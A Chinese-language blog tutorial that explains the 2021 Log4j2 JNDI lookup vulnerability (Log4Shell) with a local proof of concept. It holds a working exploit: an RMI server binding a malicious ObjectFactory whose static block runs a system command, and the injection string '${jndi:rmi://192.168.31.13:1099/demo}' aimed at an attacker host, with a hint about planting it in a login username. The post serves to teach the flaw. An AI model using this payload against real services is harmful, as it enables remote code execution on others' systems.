Log4j是Apache软件基金会下的一个开源项目,通过使用log4j可以打印程序日志输出信息到控制台,文件等各种地方。简单来说,它是一个用于记录日志的Java第三方库,而且使用量非常广泛。
在2021年12月9日,Log4j2爆出极其严重的漏洞,攻击者只需要构造恶意数据植入日志记录中,就可以导致任意代码执行,危害极大,利用门槛极低。
Log4j2中提供了一种叫lookups的功能,这个功能很强大,可以把 {} 部分进行替换
- public class Main {
- private static final Logger logger = LogManager.getLogger();
- public static void main(String[] args) {
- String content = "world";
- logger.trace("hello {}",content);
-
- //https://logging.apache.org/log4j/2.x/manual/lookups.html
- String content2 = "${java:os}";
- logger.trace("hello {}",content2);
- String content3 = "${java:vm}";
- logger.trace("hello {}",content3);
- }
- }
-
打印结果:
- 2021-12-11 20:03:29.751 [main] TRACE [13] - hello world
- 2021-12-11 20:03:29.755 [main] TRACE [17] - hello Windows 10 10.0, architecture: amd64-64
- 2021-12-11 20:03:29.756 [main] TRACE [19] - hello Java HotSpot(TM) 64-Bit Server VM (build 25.261-b12, mixed mode)
-
这还不要紧,它还支持 JNDI lookup 就很要命了
本地启动一个JNDI服务看看
- public class SimpleJndiServer {
- public static void main(String[] args) {
- try {
- Registry registry = LocateRegistry.createRegistry(1099);
- System.out.println("create rmi 1099");
- Reference reference = new Reference("com.skyline.log4j2.demo.jndi.JndiObj", "com.skyline.log4j2.demo.jndi.JndiObj", null);
- ReferenceWrapper wrapper = new ReferenceWrapper(reference);
- registry.bind("demo", wrapper);
- } catch (RemoteException | NamingException | AlreadyBoundException e) {
- e.printStackTrace();
- }
- }
- }
- public class JndiObj implements ObjectFactory {
-
- static {
- System.out.println("this is JndiObj,i'm here!");
- try {
- //打开远程链接
- Runtime.getRuntime().exec("mstsc");
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- private String name;
-
- public String getName() {
- return name;
- }
-
- public void setName(String name) {
- this.name = name;
- }
-
- @Override
- public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
- return new JndiObj();
- }
-
- @Override
- public String toString() {
- return "JndiObj{" +
- "name='" + name + '\'' +
- '}';
- }
- }
-
写入日志:
- public class Main {
- private static final Logger logger = LogManager.getLogger();
- public static void main(String[] args) {
- //JNDI注入参考链接
- //https://blog.csdn.net/caiqiiqi/article/details/105976072
- //192.168.31.13为客户端ip(攻击者ip),不是服务ip
- System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
- String content4 = "${jndi:rmi://192.168.31.13:1099/demo}";
- logger.trace("hello {}",content4);
- }
- }
-
可以看到这次我日志中的内容变成了${jndi:rmi://192.168.31.13:1099/demo},这里需要注意的是192.168.31.13是我的本机ip,也就是攻击者的ip。会弹出一个远程连接的命令。
整理利用流程:${jndi:rmi://192.168.31.13:1099/demo}被打印到日志中,会被lookup会对其进行解析,并替换解析后的值,插入到记录语句中。
很多时候我们记录在日志中的动态参数都是对象,这些对象可能是从前端或者别的服务请求过来的。比如一个登录接口,如果User对象中的userName的值就是我们上面写的${jndi:rmi://192.168.31.13:1099/demo},那后果真的是不堪设想